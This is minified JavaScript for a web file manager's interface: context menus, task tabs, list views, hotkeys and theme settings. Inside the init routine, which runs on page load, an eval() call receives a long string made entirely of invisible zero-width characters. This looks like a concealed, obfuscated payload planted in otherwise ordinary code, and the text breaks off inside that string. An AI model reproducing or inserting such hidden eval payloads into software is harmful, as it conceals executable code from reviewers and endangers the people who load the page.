class="'+i.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:i,className:i.substr(1),callback:function(e){h(e)},items:{down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",playmedia:{name:LNG.add_to_play,className:"playmedia",icon:"music",accesskey:"p"},info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},f=function(e){switch(e){case"refresh":ui.f5(!0,!0);break;case"seticon":ui.setListType("icon");break;case"setlist":ui.setListType("list");break;case"set_sort_name":ui.setListSort("name",0);break;case"set_sort_ext":ui.setListSort("ext",0);break;case"set_sort_size":ui.setListSort("size",0);break;case"set_sort_mtime":ui.setListSort("mtime",0);break;case"set_sort_up":ui.setListSort(0,"up");break;case"set_sort_down":ui.setListSort(0,"down");break;case"info":ui.path.info();break;case"box-size-smallx":ui.setFileIconSize(40);break;case"box-size-small":ui.setFileIconSize(60);break;case"box-size-default":ui.setFileIconSize(80);break;case"box-size-big":ui.setFileIconSize(150);break;case"box-size-bigx":ui.setFileIconSize(220);break;case"open":ui.path.open();break;default:}},h=function(e){switch(e){case"open":ui.path.open();break;case"down":ui.path.download();break;case"open_text":ui.path.openEditor();break;case"playmedia":ui.path.play();break;case"search":ui.path.search();break;case"show_file":ui.path.show_file();break;case"openProject":ui.path.openProject();break;case"info":ui.path.info();break;default:}},m=function(){$('<i class="'+a.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:a,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},_=function(){$('<i class="'+n.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},v=function(){$('<i class="'+n.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},g=function(){$('<i class="'+o.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){k(e)},items:{edit:{name:LNG.edit,className:"edit",icon:"edit",accesskey:"e"},open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},download:{name:LNG.download,className:"download",icon:"download",accesskey:"x"},show_file:{name:LNG.show_file,className:"show_file",icon:"globe",accesskey:"b"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},b=function(){$('<i class="taskBarMenu"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"quitOthers":$.each($.dialog.list,function(e,t){i!=e&&t.close()});break;case"quit":a.close()}}})},y=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,t){var i=t.$trigger.attr("id");switch($.dialog.list[i],e){case"showAll":$.each($.dialog.list,function(e,t){t.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,t){t.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,t){t.close()});break;default:}}})},x=function(){$('<i class="dialog_menu"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{quit_dialog:{name:LNG.close,className:"quit_dialog",icon:"remove",accesskey:"q"},hide_dialog:{name:LNG.dialog_min,className:"hide_dialog",icon:"minus",accesskey:"h"},refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},sep101:"--------",qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"quit_dialog":a.close();break;case"hide_dialog":a.display(!1);break;case"refresh":a.refresh();break;case"open_window":a.open_window();break;case"qrcode":core.qrcode(a.DOM.wrap.find("iframe").attr("src"));break;default:}}})},k=function(e){switch(e){case"edit":ui.tree.openEditor();break;case"open":ui.tree.open();break;case"refresh":ui.tree.refresh();break;case"info":ui.tree.info();break;case"explorer":ui.tree.explorer();break;case"openProject":ui.tree.openProject();break;case"show_file":ui.tree.showFile();break;case"download":ui.tree.download();break;case"search":ui.tree.search();break;case"refresh_all":ui.tree.init();break;case"quit":break;default:}};return{initExplorer:r,initEditor:l,show:function(e,t,i){e&&(rightMenu.hidden(),$(e).contextMenu({x:t,y:i}))},menuShow:function(){var e="disabled",t=$(".context-menu-list").filter(":visible"),i=$(".context-menu-active");if(0!=t.length&&0!=i.length){if(i.hasClass("dialog_menu")){var a=i.attr("id"),n=$.dialog.list[a];n.has_frame()?(t.find(".open_window").show(),t.find(".refresh").show()):(t.find(".open_window").hide(),t.find(".refresh").hide())}if(i.hasClass("menufile")){var o=ui.fileLight.type(ui.fileLight.fileListSelect());"zip"==o?t.find(".unzip").show():t.find(".unzip").hide(),"html"==o||"htm"==o||"oexe"==o?t.find(".open_text").show():t.find(".open_text").hide()}if(i.hasClass("menuMore")){var s=0;ui.fileLight.fileListSelect().each(function(){var e=core.pathExt(ui.fileLight.name($(this)));(inArray(core.filetype.music,e)||inArray(core.filetype.movie,e))&&(s+=1)}),0==s?t.find(".playmedia").hide():t.find(".playmedia").show()}(i.hasClass("menuZipListFolder")||i.hasClass("menuZipListFile"))&&(core.pathCurrentWriteable()?t.find(".unzip_this").removeClass(e):t.find(".unzip_this").addClass(e),G.sid&&t.find(".unzip_to").addClass(e))}},isDisplay:function(){var e=!1;return $(".context-menu-list").each(function(){"none"!=$(this).css("display")&&(e=!0)}),e},hidden:function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")}}}),define("app/common/taskTap",[],function(){var e={},t="",i=160,a=function(){$(".task_tab .tab").die("mouseenter").live("mouseenter",function(){$(this).hasClass("this")||$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")})},n=function(e){var t=e.attr("id"),i=$.dialog.list[t];if(void 0==i)return c(t),void 0;var a=$("."+t);"hidden"==a.css("visibility")?i.display(!0).zIndex():a.hasClass("aui_state_focus")?i.display(!1):i.zIndex()},o=function(){var e,t,a,o,s=!1,r=!1,l=0,c=0,d=0,p=0,u=0,f=0;$(".task_tab .tab").die("mousedown").live("mousedown",function(t){1==t.which&&(e=$(this),h(t),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(t){v(),this.releaseCapture&&this.releaseCapture(),10>Math.abs(t.pageX-l)&&n(e)}))});var h=function(i){s=!0,r=!0,l=i.pageX,$tab_parent=$(".task_tab"),t=$(".task_tab .tab"),$(".tasktab-dragging").remove(),a=e.clone().addClass("tasktab-dragging").prependTo("body"),p=$sizeInt(t.css("margin-right")),u=$tab_parent.width(),f=$tab_parent.get(0).getBoundingClientRect().left,f+=$(window).scrollLeft(),c=e.get(0).getBoundingClientRect().left,d=$sizeInt(t.css("width"));var n=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),o=i.clientX-l+c;$("body").prepend("<div class='dragMaskView'></div>"),a.css({width:d+"px",top:n,left:o}),e.css("opacity",0)},m=function(i){if(r){window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),0==s&&h(i);var n=i.clientX-l+c;f>n||n>f+u-d||(a.css("left",n),t.each(function(){var t=$(this).get(0).getBoundingClientRect().left;if(n>t&&t+d/2+p>n){if(e.attr("id")==$(this).attr("id"))return;_($(this).attr("id"),"left")}if(n>t-d/2+p&&t>n){if(e.attr("id")==$(this).attr("id"))return;_($(this).attr("id"),"right")}}))}},_=function(a,n){if(!e.is(":animated")||o!=a){o=a,e.stop(!0,!0),$(".insertTemp").remove(),t=$(".task_tab .tab");var s=e.width(),r=$(".task_tab #"+a),l=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==n?e.after(r).css("width","0px"):(e.before(r).css("width","0px"),r.before(l)),e.animate({width:s+"px"},i),l.animate({width:"0px"},i,function(){$(this).remove(),t=$(".task_tab .tab")})}},v=function(){r=!1,s=!1,startTime=0,$(".dragMaskView").remove(),void 0!=a&&(c=e.get(0).getBoundingClientRect().left,a.animate({left:c+"px"},i,function(){e.css("opacity",1),$(this).remove()}))}},s=function(e){var t=110,a=t,n=t+12,o=$(".task_tab .tab"),s=$(".task_tab .tabs").width()-10,r=o.length,l=Math.floor(s/n);switch(r>l&&(a=Math.floor(s/r)-12),e){case"add":$(".task_tab .tabs .this").css("width","0").animate({width:a+"px"},i);case"close":o.animate({width:a+"px"},i);break;case"resize":o.css("width",a+"px");break;default:}},r=function(t,i){$(".task_tab").removeClass("hidden");var a=i.replace(/<[^>]+>/g,""),n='<div class="tab taskBarMenu" id="'+t+'" title="'+a+'">'+i+"</div>";$(n).insertBefore(".task_tab .last"),s("add"),e[t]={id:t,name:name}},l=function(e){$(".task_tab .this").removeClass("this"),$(".task_tab #"+e).addClass("this"),t=e},c=function(t){$(".task_tab #"+t).animate({width:0},i,function(){if($(".task_tab #"+t).remove(),s("close"),0==$(".tabs .tab").length&&"desktop"!=Config.pageApp){var e=31;$(".task_tab").animate({bottom:"-"+e+"px"},200,0,function(){$(this).css({bottom:"0px"}).addClass("hidden")})}}),delete e[t]},d=function(){$('<i class="dialog_menu"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{dialog_quite:{name:LNG.close,className:"dialog_quite",icon:"remove",accesskey:"q"},dialog_max:{name:LNG.dialog_max,className:"dialog_max",icon:"resize-full",accesskey:"a"},dialog_min:{name:LNG.dialog_min,className:"dialog_min",icon:"minus",accesskey:"i"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"dialog_quite":a.close();break;case"dialog_min":a._clickMin(!1);break;case"dialog_max":a._clickMax();break;case"refresh":a.refresh();break;case"open_window":a.open_window();break;case"qrcode":core.qrcode(a.DOM.wrap.find("iframe").attr("src"));break;default:}}}),$(".aui_title img,.aui_title .x-item-file").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).parent().parent().contextMenu({x:e.pageX,y:t.top})}).die("dblclick").live("dblclick",function(){var e=$(this).parent().parent().attr("id"),t=$.dialog.list[e];t.close(),rightMenu.hidden()})},p=function(){$('<i class="taskBarMenu"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"quitOthers":$.each($.dialog.list,function(e,t){i!=e&&t.close()});break;case"quit":a.close()}}})},u=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,t){var i=t.$trigger.attr("id");switch($.dialog.list[i],e){case"showAll":$.each($.dialog.list,function(e,t){t.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,t){t.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,t){t.close()});break;default:}}})};return{add:r,focus:l,close:c,init:function(){var e='<div class="task_tab"><div class="tabs"><div class="last" style="clear:both;"></div></div></div>';$(e).appendTo("body"),"desktop"!=Config.pageApp&&$(".task_tab").addClass("hidden"),$(window).bind("resize",function(){s("resize")}),a(),d(),p(),u(),o()}}}),define("app/src/explorer/ui",["./fileContent"],function(require,exports){var fileContent=require("./fileContent"),f5=fileContent.f5,f5Callback=fileContent.f5Callback,MyPicasa=new Picasa,initListType=function(e){G.user_config.list_type=e,LocalData.set("list_type",e),$(".set_icon_size").hide(),$(".tools-right button").removeClass("active"),$("#set_"+e).addClass("active"),$("#list_type_list,.list_split_box").addClass("hidden"),$(".set-file-icon-size").hide(),$(Config.FileBoxSelector).removeClass("fileList_icon fileList_list fileList_list_split"),"list"==e?($(Config.FileBoxSelector).addClass("fileList_list"),$("#list_type_list").removeClass("hidden"),ui.fileListResize.bindHeaderResize()):"icon"==e?($(Config.FileBoxSelector).addClass("fileList_icon"),$(".set_icon_size").show(),$(".set-file-icon-size").show()):"list_split"==e&&($(Config.FileBoxSelector).addClass("fileList_list_split"),$(".list_split_box").removeClass("hidden")),$(".menu_seticon").removeClass("selected"),$(".set_set"+e).addClass("selected"),$(".fileContinerMore").css("top",0);var t=$(".frame-right-main .tools").outerHeight();"list"==e&&(t+=26),$(".frame-header").is(":visible")&&(t+=$(".frame-header").outerHeight()),$(".bodymain").css("top",t)},setListType=function(e){initListType(e),f5(!1,!1),void 0===G.sid&&$.get("index.php?setting/set&k=list_type&v="+e)},setListSort=function(e,t){0!=e?(G.user_config.list_sort_field=e,$(".menu_set_sort").removeClass("selected"),$(".set_sort_"+e).addClass("selected")):e=G.user_config.list_sort_field,0!=t?(G.user_config.list_sort_order=t,$(".menu_set_desc").removeClass("selected"),$(".set_sort_"+t).addClass("selected")):t=G.user_config.list_sort_order,LocalData.set("list_sort_field",e),LocalData.set("list_sort_order",t),f5(!1,!0),$.ajax({url:"index.php?setting/set&k=list_sort_field,list_sort_order&v="+e+","+t})},bindEventView=function(){$(".menuRecycleButton").bind("mouseenter",function(){$(this).addClass("recycle_hover")}).bind("mouseleave",function(){$(this).removeClass("recycle_hover")}).bind("click",function(){ui.path.list("{user_recycle}")}),$(".menuShareButton").bind("mouseenter",function(){$(this).addClass("share_hover")}).bind("mouseleave",function(){$(this).removeClass("share_hover")}).bind("click",function(){ui.path.list("{user_share}:"+G.user_id+"/")})},bindEventSort=function(){$("#main_title div").die("click").live("click",function(){$(this).hasClass("resize")||("up"==$(this).attr("id")?$(this).attr("id","down"):$(this).attr("id","up"),setListSort($(this).attr("field"),$(this).attr("id")))})},bindEventTools=function(){$(".tools a,.tools button").bind("click",function(){var e=$(this).attr("id");toolsAction(e)})},bindEventTheme=function(){$(".dropdown-menu-theme li").click(function(){var e=$(this).attr("theme");ui.setTheme(e),$.ajax({url:"index.php?setting/set&k=theme&v="+e,dataType:"json",success:function(e){if(!e.code){var t=LNG.config_save_error_file;core.authCheck("setting:set")||(t=LNG.config_save_error_auth),Tips.tips(t,!1)}}})})},bindEventMenu=function(){$(".dlg_goto_path").bind("click",function(){var e=G.json_data.info.admin_real_path;ui.path.list(e)}),$(".toolPathMore").die("click").live("click",function(){if($(this).hasClass("active"))return $(".menuToolPath").trigger("contextmenu:hide"),$(this).removeClass("active"),void 0;$(this).addClass("active"),$(".menuToolPath").removeClass("fadIn").addClass("menuShow");var e=$(this).offset();$(this).contextMenu({x:e.left-4,y:e.top+$(this).outerHeight()-1})}),$("body").bind("click",function(){$(".toolPathMore").removeClass("active"),$(".menuToolPath").trigger("contextmenu:hide")})},getRowfileNumber=function(){if("icon"!=G.user_config.list_type)return 1;var e=$(Config.FileBoxSelector).width(),t=$(Config.FileBoxClass).outerWidth()+$sizeInt($(Config.FileBoxClass).css("margin-right"));return parseInt(e/t)},getPagefileNumber=function(){var e=getRowfileNumber(),t=$(Config.BodyContent).outerHeight(),i=$(Config.FileBoxClass).outerHeight()+$sizeInt($(Config.FileBoxClass).css("margin-bottom"));return Math.ceil(t/i)*e},getColfileNumberDesktop=function(){var e=$(Config.FileBoxSelector).outerHeight()-48,t=$(Config.FileBoxClass).outerHeight()+10;return parseInt(e/t)},toolsAction=function(e){switch(e){case"recycle_clear":ui.path.recycleClear();break;case"newfile":ui.path.newFile();break;case"refresh":ui.f5();break;case"newfolder":ui.path.newFolder();break;case"upload":core.upload();break;case"selectAll":ui.fileSelect.selectPos("all");break;case"download":ui.path.download();break;case"set_icon":$("#set_icon").hasClass("active")||setListType("icon");break;case"set_list":$("#set_list").hasClass("active")||setListType("list");break;case"set_list_split":$("#set_list_split").hasClass("active")||setListType("list_split");break;default:}},bindHotKeySelectFile=function(){var e,t=0,i="",a=300;Mousetrap.bind(["1","2","3","4","5","6","7","8","9","0","`","~","!","@","#","$","%","^","&","*","(",")","-","_","=","+","[","{","]","}","|","/","?",".",">",",","<","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"],function(n){var o=String.fromCharCode(n.charCode);return 0==t?(t=timeFloat(),i=o,e=setTimeout(function(){ui.path.setSelectByChar(i),t=0},a),void 0):o==i.substr(-1)?(ui.path.setSelectByChar(i),t=0,void 0):(a>timeFloat()-t&&(t=timeFloat(),i+=o,clearTimeout(e),e=setTimeout(function(){ui.path.setSelectByChar(i),t=0},a)),void 0)})},bindHotKey=function(){bindHotKeySelectFile(),Mousetrap.bind(["f1","alt+left","backspace","alt+right","ctrl+backspace","command+backspace","ctrl+shift+r","f5","left","up","right","down","home","end","shift+left","shift+up","shift+right","shift+down","shift+home","shift+end","pageup","pagedown","ctrl+a","command+a","ctrl+shift+n","ctrl+shift+f","del","shift+del","f2","ctrl+enter","command+enter","shift+enter","space","enter","ctrl+u","command+u","ctrl+e","command+e","ctrl+c","command+c","ctrl+x","command+x","ctrl+v","command+v","ctrl+f","command+f","f3","ctrl+i","alt+i","alt+n","alt+m","alt+enter","ctrl+s","command+s","alt+f4"],function(e,t){if("none"!=$("#PicasaView").css("display"))return!0;if(ui.isEdit())return!0;if(rightMenu.isDisplay())return!0;if($(".dialog_path_remove").length>0)return!0;var i=["ctrl+c","command+c"];switch(inArray(i,t)||stopPP(e),t){case"f1":core.setting("help");break;case"alt+left":case"backspace":ui.path.history.back();break;case"alt+right":case"ctrl+backspace":case"command+backspace":ui.path.history.next();break;case"ctrl+shift+r":case"f5":ui.f5(!0,!0);break;case"left":case"up":case"right":case"down":case"home":case"end":case"shift+left":case"shift+up":case"shift+right":case"shift+down":case"shift+home":case"pageup":case"pagedown":case"shift+end":ui.fileSelect.selectPos(t);break;case"ctrl+a":case"command+a":ui.fileSelect.selectPos("all");break;case"ctrl+shift+n":ui.path.newFolder();break;case"ctrl+shift+f":ui.path.newFile();break;case"del":ui.path.remove();break;case"shift+del":ui.path.remove(!1,!0);break;case"f2":case"ctrl+enter":case"command+enter":ui.path.rname();break;case"shift+enter":ui.path.download();break;case"space":ui.path.open();break;case"enter":ui.path.open();break;case"ctrl+u":case"command+u":core.upload();break;case"ctrl+e":case"command+e":ui.path.openEditor();break;case"ctrl+c":case"command+c":ui.path.copy();break;case"ctrl+x":case"command+x":ui.path.cute();break;case"ctrl+v":case"command+v":ui.path.past();break;case"f3":case"ctrl+f":case"command+f":core.search($(".header-right input").val(),G.this_path);break;case"alt+enter":case"ctrl+i":case"alt+i":ui.path.info();break;case"alt+n":ui.path.newFile();break;case"alt+m":ui.path.newFolder();break;case"ctrl+s":case"command+s":ShareData.frameTop("OpenopenEditor",function(e){e.Editor.save()});break;default:}})},imageRotate=function(e){var t=$("#PV_Items li.current img").attr("src"),i="image&path=",a=t.substr(t.search(i)+i.length),n=$('[src="'+t+'"],[data-original="'+t+'"]'),o="./index.php?explorer/imageRotate&rotate="+e+"&path="+a;$.ajax({url:o,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){if(!e)return Tips.close(LNG.php_env_error_gd,!1),void 0;if(Tips.close(e),e.code){var i=function(e){var t="&picture=",i=e.search(t);return-1===i?e+t+UUID():e.substr(0,i)+t+UUID()},a=i(t),o=i($("#PV_Picture").attr("src"));n.attr("src",a),n.attr("data-original",a),ui.picasa.resetImage(o)}}})},resetDesktopIcon=function(){if("desktop"==Config.pageApp){var e=20,t=20,i=parseInt($(".file").css("height")),a=i-30,n=10,o=15,s=$(document).height()-50,r=Math.floor((s-e)/(i+n)),l=0,c=0,d=0,p=0,u=(s-e-r*(i+n)-n)/r;u>0&&(n+=u),$(".fileContiner .file").css("position","absolute"),$(".fileContiner .file").each(function(s){l=s%r,c=Math.floor(s/r),d=t+(a+o)*c,p=e+(i+n)*l,$(this).css({left:d,top:p})})}};return{f5:f5,f5Callback:f5Callback,fileContent:fileContent,picasa:fileContent.myPicasa,setListSort:setListSort,setListType:setListType,getRowfileNumber:getRowfileNumber,getPagefileNumber:getPagefileNumber,getColfileNumberDesktop:getColfileNumberDesktop,resetDesktopIcon:resetDesktopIcon,imageRotate:imageRotate,setTheme:function(e){G.user_config.theme=e,core.setSkin(e),ShareData.frameTop("OpenopenEditor",function(t){t.Editor.setTheme(e)}),ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setThemeSelf(e)}),ShareData.frameTop("",function(t){t.ui.setTheme(e)}),$(".dropdown-menu-theme .list").removeClass("this"),$('.dropdown-menu-theme .list[theme="'+e+'"]').addClass("this")},setWall:function(e,t){$(".background").attr("src",e).one("load",function(){$(".desktop").css("background-image","url("+e+")"),"function"==typeof t&&t()})},setFileIconSize:function(e){ui.fileListResize.setFileIconSize(e,!0),"desktop"==Config.pageApp&&ui.f5()},isEdit:function(){var e=$(document.activeElement).get(0);if(e)return e=e.tagName,"INPUT"==e||"TEXTAREA"==e?!0:$(".file.file_icon_edit").length>0?!0:!1},init:function(){if(G.sid){LocalData.get("theme")&&(G.user_config.theme=LocalData.get("theme")),LocalData.get("list_type")&&(G.user_config.list_type=LocalData.get("list_type")),LocalData.get("list_sort_field")&&(G.user_config.list_sort_field=LocalData.get("list_sort_field")),LocalData.get("list_sort_order")&&(G.user_config.list_sort_order=LocalData.get("list_sort_order")),LocalData.set("theme",G.user_config.theme),LocalData.set("list_type",G.user_config.list_type),LocalData.set("list_sort_field",G.user_config.list_sort_field),LocalData.set("list_sort_order",G.user_config.list_sort_order); -var url_path=window.location.href.split("#");2==url_path.length&&(G.this_path=urlDecode(url_path[1]))}if(ui.setTheme(G.user_config.theme),""==G.this_path){var pre=G.user_id||G.sid,localPath=LocalData.get("this_path_"+pre);G.this_path=localPath?localPath:G.myhome}eval("‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‌‍‍‌‍‌‌‌‍‌‍‍‍‌‍‍‌‌‍‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‌‍‍‍‌‌‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‌‌‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‍‍‍‌‍‌‍‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‌‍‍‌‌‌‍‍‌‍‌‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‍‌‌‌‍‌‍‍‌‍‌‌‍‌‍‌‍‍‌‌‍‍‌‌‍‌‍‍‍‌‍‌‌‌‌‌‍‌‍‍‍‍‍‌‍‌‌‍‍‍‌‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‌‍‌‌‌‌‍‌‍‍